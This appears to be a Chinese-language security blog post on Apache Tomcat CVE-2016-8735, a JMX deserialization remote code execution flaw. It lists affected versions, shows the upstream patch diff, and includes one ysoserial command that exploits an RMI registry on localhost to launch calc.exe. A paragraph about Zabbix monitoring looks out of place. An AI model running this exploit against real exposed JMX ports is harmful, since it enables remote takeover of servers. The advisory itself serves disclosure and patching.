Apache Tomcat Remote Code Execution(CVE-2016-8735)

Apache Tomcat Remote Code Execution(CVE-2016-8735)

背景介绍


Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。Tomcat 很受广大程序员的喜欢,因为它运行时占用的系统资源小,扩展性好,支持负载平衡与邮件服务等开发应用系统常用的功能。

漏洞描述


Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。 Tomcat也使用了JmxRemoteLifecycleListener这个监听器,但是Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。

受影响版本:


Apache Tomcat 9.0.0.M1 to 9.0.0.M11

Apache Tomcat 8.5.0 to 8.5.6

Apache Tomcat 8.0.0.RC1 to 8.0.38

Apache Tomcat 7.0.0 to 7.0.72

Apache Tomcat 6.0.0 to 6.0.47

 

影响场景:


Zabbix 2.0 已经将 JMX 监控加入了系统中,本身不再依赖第三方工具。这是得对 Tomcat 应用以及其他 Java 应用的监控更加简单。本文简单的介绍 Zabbix 使用 JMX 方式监控 Tomcat 的过程。

漏洞验证代码(POC):


测试版本:tomcat版本8.0.36

conf/server.xml增加配置,添加catalina-jmx-remote.jar包,修改catalina文件配置Apache Tomcat Remote Code Execution(CVE-2016-8735)
Apache Tomcat Remote Code Execution(CVE-2016-8735)
F:\HackTools\EXP>java -cp ysoserial-master-v0.0.4.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 calc.exe

Apache Tomcat Remote Code Execution(CVE-2016-8735)

这个漏洞还有其它利用姿势,危害巨大,因此改变JMX密码认证十分有必要!

补丁代码:

Diff of /tomcat/trunk/webapps/docs/changelog.xml

--- tomcat/trunk/webapps/docs/changelog.xml	2016/11/02 11:57:28	1767643
+++ tomcat/trunk/webapps/docs/changelog.xml	2016/11/02 11:57:36	1767644
@@ -97,6 +97,10 @@
         StoreConfig component includes the executor name when writing the
         Connector configuration. (markt)
       </fix>
+      <fix>
+        When configuring the JMX remote listener, specify the allowed types for
+        the credentials. (markt)
+      </fix>
     </changelog>
   </subsection>

/tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java

--- tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java	2016/11/02 11:57:28	1767643
+++ tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java	2016/11/02 11:57:36	1767644
@@ -264,6 +264,10 @@
                 serverCsf = new RmiClientLocalhostSocketFactory(serverCsf);
             }
 
+            env.put("jmx.remote.rmi.server.credential.types", new String[] {
+                    String[].class.getName(),
+                    String.class.getName() });
+
             // Populate the env properties used to create the server
             if (serverCsf != null) {
                 env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, serverCsf);
@@ -328,7 +332,7 @@
             cs = new RMIConnectorServer(serviceUrl, theEnv, server,
                     ManagementFactory.getPlatformMBeanServer());
             cs.start();
-            registry.bind("jmxrmi", server);
+            registry.bind("jmxrmi", server.toStub());
             log.info(sm.getString("jmxRemoteLifecycleListener.start",
                     Integer.toString(theRmiRegistryPort),
                     Integer.toString(theRmiServerPort), serverName));

这个漏洞还有其它利用姿势,危害巨大,因此改变JMX密码认证十分有必要!!!

漏洞来源:

http://seclists.org/oss-sec/2016/q4/502

http://engineering.pivotal.io/post/java-deserialization-jmx/

http://svn.apache.org/viewvc?view=revision&revision=1767644

美食家

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: